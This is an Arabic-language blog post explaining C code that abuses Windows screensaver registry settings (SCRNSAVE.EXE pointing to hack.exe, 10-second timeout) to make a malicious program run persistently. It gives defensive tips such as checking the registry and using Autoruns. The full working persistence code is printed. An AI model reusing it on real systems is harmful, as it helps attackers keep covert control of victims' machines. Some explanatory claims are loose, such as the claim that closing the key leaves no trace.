مالوير يستغل شاشة التوقف لاختراق ويندوز

كود خبيث يتسلل عبر شاشة التوقف: كيف يستغل الهاكرز الـScreensaver؟
في عالم الأمن السيبراني، الهاكرز دايمًا بيدوروا على طرق ذكية عشان يتسللوا لأجهزتك، والكود اللي هنتكلم عنه النهاردة مثال مثالي للخبث ده! الكود، المكتوب بلغة C، بيستخدم إعدادات شاشة التوقف (Screensaver) في ويندوز عشان يثبت برنامج خبيث (Malware) ويخلّيه يشتغل تلقائيًا كل ما الـScreensaver تتفعل. يعني، وانت قاعد مستني شاشة التوقف تتحرك، فيه مالوير بيشتغل في الخفاء! هنفكك الكود، نشرح خطورته، ونقولك إزاي تحمي نفسك.

فك الكود: خطة الهاكر المحكمة ​

إليك الكود الخبيث:

#include <windows.h>
#include <string.h>

int reg_key_compare(HKEY hKeyRoot, char* lpSubKey, char* regVal, char* compare) {
  HKEY hKey = nullptr;
  LONG ret;
  char value[1024];
  DWORD size = sizeof(value);
  ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
  if (ret == ERROR_SUCCESS) {
    RegQueryValueExA(hKey, regVal, NULL, NULL, (LPBYTE)value, &size);
    if (ret == ERROR_SUCCESS) {
      if (strcmp(value, compare) == 0) {
        return TRUE;
      }
    }
  }
  return FALSE;
}

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  // malicious app
  const char* exe = "Z:\\2022-04-26-malware-pers-2\\hack.exe";
  // timeout
  const char* ts = "10";
  // activation
  const char* aact = "1";

  // startup
  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"Control Panel\\Desktop", 0 , KEY_WRITE, &hkey);
  if (res == ERROR_SUCCESS) {
    // create new registry keys
    RegSetValueEx(hkey, (LPCSTR)"ScreenSaveActive", 0, REG_SZ, (unsigned char*)aact, strlen(aact));
    RegSetValueEx(hkey, (LPCSTR)"ScreenSaveTimeOut", 0, REG_SZ, (unsigned char*)ts, strlen(ts));
    RegSetValueEx(hkey, (LPCSTR)"SCRNSAVE.EXE", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }
  return 0;
}

الكود ده زي لغز خطير، بيستخدم إعدادات ويندوز البريئة ضدك! خلينا نشرح إزاي بيشتغل:

• دالة reg_key_compare:
  • بتفتح مفتاح ريجيستري معين وبتقارن قيمته مع قيمة مدخلة.
  • لو القيم متطابقة، بترجّع TRUE، ولو لا، بترجّع FALSE.
  • الدالة دي بتُستخدم عشان تتأكد إن الريجيستري جاهز للتعديل أو لفحص إعدادات موجودة.
    
• الدالة main:
  • بتحدد متغيرات زي:
    - exe: مسار الملف الخبيث (hack.exe).
    - ts: وقت التايم آوت للـScreensaver (10 ثواني).
    - aact: تفعيل الـScreensaver (قيمة 1).
  • بتفتح مفتاح الريجيستري في HKEY_CURRENT_USER\Control Panel\Desktop، وده المكان اللي بيخزن إعدادات الـScreensaver.
  • لو فتح المفتاح بنجاح، بيعدّل 3 قيم:
    - ScreenSaveActive: بتفعّل الـScreensaver.
    - ScreenSaveTimeOut: بتحدد بعد قد إيه الـScreensaver تشتغل (10 ثواني).
    - SCRNSAVE.EXE: بتستبدل ملف الـScreensaver الأصلي بالملف الخبيث hack.exe.
  • أخيرًا، بتقفل مفتاح الريجيستري عشان ما يتركش أثر واضح.
    

ليه الكود ده خطير زي النار؟ ​

الكود ده بيستغل حاجة بريئة زي شاشة التوقف عشان ينفّذ خطة خبيثة. خطورته في:

• التثبيت الدائم: المالوير بيثبت نفسه في النظام بحيث يشتغل تلقائيًا كل ما الـScreensaver تتفعل (يعني بعد 10 ثواني من عدم الاستخدام).
• إخفاء النشاط: بما إنه بيستخدم خاصية نظامية زي الـScreensaver، صعب تكتشفه لأنه بيبدو زي جزء طبيعي من ويندوز.
• تأثير مستمر: المالوير بيشتغل كل مرة الشاشة تقفل، وده بيدي الهاكر فرصة مستمرة للهجوم.
• مرونة الهجوم: الملف hack.exe ممكن يكون أي حاجة من Keylogger لسرقة بياناتك، لـ Ransomware لتشفير ملفاتك، أو حتى Botnet عشان يضم جهازك لشبكة هكر.

إزاي الهاكر بيستخدم الكود ده؟ ​

الكود ده جزء من خطة أكبر للهاكر، وممكن يستخدمه كالتالي:

• سرقة البيانات: لو كان hack.exe عبارة عن Keylogger، هيسرق كل ضغطاتك (زي كلمات المرور أو بيانات البنك).
• التحكم بالجهاز: المالوير ممكن يفتح باب خلفي (Backdoor) عشان يدي الهاكر تحكم كامل في جهازك.
• نشر المزيد من الضرر: ممكن ينزّل برامج خبيثة إضافية زي Spyware أو Trojan عشان يوسّع الهجوم.
• هجمات شبكية: لو جهازك بقى جزء من Botnet، ممكن يُستخدم في هجمات زي DDoS على مواقع أو شبكات.

ازاي تقدر تحمي جهازك؟ ​

ما تقلقش، فيه طرق تقدر تحمي نفسك بيها من المالوير ده:

• راقب إعدادات الـScreensaver: افتح إعدادات شاشة التوقف في ويندوز وتأكد إن ملف الـScreensaver مش مشبوه (الملفات الشرعية عادةً بتكون .scr من ويندوز نفسه).
• حدّث ويندوز: التحديثات بتصلّح ثغرات الريجيستري اللي ممكن المالوير يستغلها.
• استخدم برامج حماية: برامج زي Bitdefender أو Malwarebytes بترصد الملفات الخبيثة زي hack.exe.
• افحص الريجيستري: استخدم أدوات زي Autoruns أو Regedit عشان تتأكد إن مفيش قيم غريبة في HKEY_CURRENT_USER\Control Panel\Desktop.
• كن حذر: ما تحملش ملفات أو تفتح إيميلات من مصادر مجهولة، لأن المالوير غالبًا بيجي مدمج مع برامج تبدو بريئة.

كلمة أخيرة: خلّي شاشة التوقف في أمان! ​

الكود ده بيحوّل حاجة بريئة زي شاشة التوقف لسلاح خبيث ينفّذ مالوير في الخفاء. عشان تحمي جهازك، خلّي عينك على إعدادات الريجيستري، استخدم برامج حماية قوية، وما تثقش في أي ملف تحمّله من مصادر مش موثوقة. لو عايز تبقى خبير أمن سيبراني، اتعلم تحليل المالوير بأدوات زي Ghidra وجرب في بيئات آمنة زي Kali Linux. تابع اكتب كود لشروحات جديدة عن Cybersecurity و Malware Analysis! لو استفدت، شارك البوست وسيب تعليقك!